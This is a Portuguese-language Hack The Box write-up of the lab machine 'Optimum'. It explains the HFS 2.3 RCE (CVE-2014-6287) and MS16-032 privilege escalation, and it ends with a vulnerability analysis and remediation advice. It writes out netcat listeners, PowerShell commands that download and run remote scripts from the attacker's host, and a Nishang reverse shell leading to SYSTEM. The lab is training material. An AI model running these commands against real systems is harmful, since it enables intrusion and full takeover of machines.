Optimum - HTB Easy Machine - Português (Brasil)

OS Windows
Difficulty Easy
User Owns 36.7K
Root Owns 29.6K
Rating 4.8/5
Release 2017/03/18
Creator ch4p
First Blood User adxn37
First Blood Root admin
User Rated Difficulty

Sobre

Optimum é uma máquina voltada para iniciantes que explora principalmente a enumeração de serviços com exploits conhecidos. Os exploits necessários são de fácil localização e alguns possuem módulos do Metasploit, o que torna a máquina relativamente direta de completar.

Exploração

Enumeração

O scan com nmap revelou apenas a porta HTTP 80 aberta e identificou o sistema como Windows:

PORT   STATE SERVICE VERSION  
80/tcp open  http    HttpFileServer httpd 2.3  
|_http-server-header: HFS 2.3  
|_http-title: HFS /  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

A página web é simples e funciona como um indexador/visualizador de arquivos e diretórios. Antes de tentar credenciais ou força bruta, pesquisei sobre o HttpFileServer 2.3 para entender melhor o serviço exposto.

Screenshot

No site oficial fica claro que o HFS é um serviço para compartilhar arquivos via web, prático, mas potencialmente perigoso quando desatualizado.

Screenshot

Ao investigar a versão do Rejetto HTTP File Server (HFS), encontrei a vulnerabilidade CVE-2014-6287. Nas versões 2.3x até 2.3c, há possibilidade de execução remota de comandos devido ao tratamento incorreto de caracteres nulos (%00) na função findMacroMarker do arquivo parserLib.pas. Isso permite a injeção de macros maliciosas via parâmetro de pesquisa. O exploit HFS-2.3-RCE-Exploit demonstra essa técnica ao enviar uma requisição HTTP GET com o payload no parâmetro search, usando %00 para truncar o processamento e executar a macro.

Embora exista um script em Python funcional, implementei minha própria versão do exploit CVE-2014-6287 em Rust, incluindo a invocação do PowerShell 64-bit, o que foi útil na etapa de elevação de privilégios. Reescrever exploits na sua linguagem preferida é uma boa forma de aprendizado e aprofunda a compreensão do problema.

Após entender o funcionamento da vulnerabilidade, optei por explorá-la diretamente, já que nova enumeração da interface web não traria informações adicionais relevantes.

Ponto de Entrada

Primeiro, inicio o listener que receberá a conexão:

nc -lvnp 9001

Em seguida, executo o payload:

cargo run -- -l 10.10.16.6 -p 9001 -r 10.10.10.8 -t 80

Tip

Como eu sei o meu IP?

Você pode obter executando o comando abaixo e copiando o IP do tun0:

└─ $ ifconfig
...SNIP

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500  
    inet 10.10.16.6  netmask 255.255.254.0  destination 10.10.16.6  
...SNIP

Abaixo seguem alguns outputs obtidos durante a exploração.

Screenshot

No listener observamos a execução remota (remote execution).

Screenshot

USER

Já estamos no diretório da flag do user, daqui é só ler o arquivo txt e temos a primeira flag.

PS C:\Users\kostas\Desktop> type user.txt  
fa116dd0c20bc.....

Escalação de Privilégios

Inicialmente, verifiquei a versão do .NET instalada na máquina: a versão detectada foi a 4.0. Como o winPEAS exige .NET 4.5 ou superior, utilizei o Sherlock para análise, pois é adequado para sistemas Windows mais antigos.

Exemplo de verificação:

PS C:\Users\kostas\Desktop> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"  
  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0

Verifique também se o PowerShell está rodando em processo 64 bits:

PS C:\Users\kostas\Desktop> [Environment]::Is64BitProcess  
True

Para transferir arquivos da máquina atacante para o host Windows, inicializei um servidor HTTP com Python:

sudo python3 -m http.server 8001

Ao executar o Sherlock, observamos que a máquina aparenta ser vulnerável ao MS16-032 listado como "Appears Vulnerable" no output.

PS C:\Users\kostas\Desktop> IEX(New-Object Net.WebClient).downloadstring('http://10.10.16.6:8001/Sherlock.ps1'); Find-AllVulns
  
  
Title      : User Mode to Ring (KiTrap0D)  
MSBulletin : MS10-015  
CVEID      : 2010-0232  
Link       : https://www.exploit-db.com/exploits/11199/  
VulnStatus : Not supported on 64-bit systems  
  
Title      : Task Scheduler .XML  
MSBulletin : MS10-092  
CVEID      : 2010-3338, 2010-3888  
Link       : https://www.exploit-db.com/exploits/19930/  
VulnStatus : Not Vulnerable  
  
Title      : NTUserMessageCall Win32k Kernel Pool Overflow  
MSBulletin : MS13-053  
CVEID      : 2013-1300  
Link       : https://www.exploit-db.com/exploits/33213/  
VulnStatus : Not supported on 64-bit systems  
  
Title      : TrackPopupMenuEx Win32k NULL Page  
MSBulletin : MS13-081  
CVEID      : 2013-3881  
Link       : https://www.exploit-db.com/exploits/31576/  
VulnStatus : Not supported on 64-bit systems  
  
Title      : TrackPopupMenu Win32k Null Pointer Dereference  
MSBulletin : MS14-058  
CVEID      : 2014-4113  
Link       : https://www.exploit-db.com/exploits/35101/  
VulnStatus : Not Vulnerable  
  
Title      : ClientCopyImage Win32k  
MSBulletin : MS15-051  
CVEID      : 2015-1701, 2015-2433  
Link       : https://www.exploit-db.com/exploits/37367/  
VulnStatus : Not Vulnerable  
  
Title      : Font Driver Buffer Overflow  
MSBulletin : MS15-078  
CVEID      : 2015-2426, 2015-2433  
Link       : https://www.exploit-db.com/exploits/38222/  
VulnStatus : Not Vulnerable  
  
Title      : 'mrxdav.sys' WebDAV  
MSBulletin : MS16-016  
CVEID      : 2016-0051  
Link       : https://www.exploit-db.com/exploits/40085/  
VulnStatus : Not supported on 64-bit systems  
  
Title      : Secondary Logon Handle  
MSBulletin : MS16-032  
CVEID      : 2016-0099  
Link       : https://www.exploit-db.com/exploits/39719/  
VulnStatus : Appears Vulnerable  
  
Title      : Windows Kernel-Mode Drivers EoP  
MSBulletin : MS16-034  
CVEID      : 2016-0093/94/95/96  
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/M  
S1  
            6-034?  
VulnStatus : Appears Vulnerable  
  
Title      : Win32k Elevation of Privilege  
MSBulletin : MS16-135  
CVEID      : 2016-7255  
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master  
/S  
            ample-Exploits/MS16-135  
VulnStatus : Appears Vulnerable  
  
Title      : Nessus Agent 6.6.2 - 6.10.3  
MSBulletin : N/A  
CVEID      : 2017-7199  
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199  
.h  
            tml  
VulnStatus : Not Vulnerable

Procurando na internet encontrei que a vulnerabilidade MS16-032 é referente a CVE-2016-0099. Um boletim de segurança da Microsoft aborda essa vulnerabilidade de elevação de privilégio no serviço Secondary Logon do Windows, identificada pelo CVE-2016-0099. Essa vulnerabilidade permite que um atacante local execute código arbitrário com privilégios de administrador explorando o manejo inadequado de handles de solicitação na memória pelo serviço.

Para explorar a falha, usei o script Invoke-MS16032.ps1. O usuário kostas pode invocá-lo no shell; normalmente é necessário abrir uma nova janela de PowerShell para obter o shell elevado.

Primeiramente, utilizando o mesmo servidor Python que já está em execução, execute o comando para realizar o download e invocar o script, que retornará a seguinte resposta:

PS C:\Users\kostas\Desktop> Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.6:8001/Invoke-MS16032.ps1')"
    __ __ ___ ___   ___     ___ ___ ___    
   |  V  |  _|_  | |  _|___|   |_  |_  |  
   |     |_  |_| |_| . |___| | |_  |  _|  
   |_|_|_|___|_____|___|   |___|___|___|  
                                          
                  [by b33f -> @FuzzySec]

Em seguida, utilizei o script de reverse-shell (Nishang). É preciso ajustar a última linha do script para informar o IP e a porta onde o atacante irá escutar.

Screenshot

No host atacante, abri um listener com netcat na porta escolhida:

┌── ➤ optimum  
└─ $ nc -lvnp 9002

Depois, invoquei o reverse shell a partir do host alvo:

PS C:\Users\kostas\Desktop> Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.10:8001/Invoke-PowerShellTcp.ps1')"  
    __ __ ___ ___   ___     ___ ___ ___    
   |  V  |  _|_  | |  _|___|   |_  |_  |  
   |     |_  |_| |_| . |___| | |_  |  _|  
   |_|_|_|___|_____|___|   |___|___|___|  
                                          
                  [by b33f -> @FuzzySec]  
  
[!] Holy handle leak Batman, we have a SYSTEM shell!!

Com isso obtive um shell reverso com elevação de privilégios como NT AUTHORITY\SYSTEM. A partir daí, naveguei até o diretório do Administrator e coletei a flag.

└─ $ nc -lvnp 9002  
Listening on 0.0.0.0 9002  
Connection received on 10.10.10.8 49219  
whoami  
Windows PowerShell running as user SYSTEM on OPTIMUM  
Copyright (C) 2015 Microsoft Corporation. All rights reserved.  
  
PS C:\Users\kostas\Desktop>nt authority\system

ROOT

PS C:\users\administrator\desktop> type root.txt  
3fb3dd612b1d1.....

Análise de Vulnerabilidades

Nesta máquina foram exploradas duas vulnerabilidades principais: uma RCE em Rejetto HTTP File Server (HFS) conhecida como CVE-2014-6287 e uma elevação local de privilégios em Windows através do serviço Secondary Logon CVE-2016-0099 (MS16-032). Ambas foram aproveitadas com ferramentas/scripts públicos (exploit para HFS, script PowerShell Invoke-MS16032 e um reverse shell do Nishang) para obter um shell inicial e, em seguida, escalar para SYSTEM.

CVE-2014-6287 HFS (HttpFileServer) RCE

Causa técnica: tratamento incorreto de entradas no parser do HFS, permitindo truncamento via caractere nulo (%00) no parâmetro de pesquisa e injeção/executação de macros do HFS. O problema está na função de parsing que não sanitiza corretamente a entrada antes de interpretar e expandir macros.

Vetor de ataque: requisição HTTP GET com payload especialmente construído no parâmetro search (ou outro campo aceito pelo parser) contendo sequências que exploram a expansão de macro e truncamento por %00.

Impacto: execução remota de comandos com os privilégios do processo do serviço web (no caso, geralmente privilégios de um usuário com direitos sobre o processo HFS). Permite upload/execução de comandos remotos, plantio de shells e execução de payloads (PowerShell, netcat, etc.).

Observações do writeup: exploit foi adaptado/implementado em Rust; exploração foi usada para chamar PowerShell 64-bit, o que facilitou transferência de ferramentas e execução posterior.

CVE-2016-0099 / MS16-032 Secondary Logon Elevation of Privilege

Causa técnica: gerenciamento inadequado de handles pelo serviço Secondary Logon (ou outro componente ligado ao perfil de solicitação) que pode levar a leak/corrupt handle permitindo execução de código com privilégios elevados.

Vetor de ataque: execução local de módulo / script de exploração (no writeup, Invoke-MS16032.ps1) que explora a condição para criar um processo ou payload elevado (usualmente requer shell local não privilegiado).

Impacto: elevação de privilégios de uma conta local (no writeup, do usuário kostas) para NT AUTHORITY\SYSTEM, permitindo controle total do sistema, leitura de ficheiros sensíveis (root flag), instalação de persistência, etc.

Observações do writeup: a combinação de um shell inicial (via HFS RCE) e do exploit MS16-032 resultou em shell SYSTEM; uso de scripts PowerShell remotos (Sherlock, Nishang) foi chave para identificar/vincular e explorar a vulnerabilidade.

Remediação de Vulnerabilidades

Não expor HFS (ou quaisquer serviços de compartilhamento de arquivos) diretamente na Internet sem autenticação forte e camada de aplicação (reverse proxy, WAF).

Desativar ou restringir o Secondary Logon service se não for necessário na política operacional; aplicar patches de segurança durante janelas regulares.

Treinar operações/ops para reconhecer e reagir a padrões de fileless-malware e comandos PowerShell suspeitos.

Monitorar criação e uso de ferramentas de pós-exploração (Nishang, Empire, etc.) como indicadores de abuso de PowerShell.

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

the master 0xdf
exploitdb
nishang
EmpireProject
CVE-2016-0099
CWE 120
Sherlock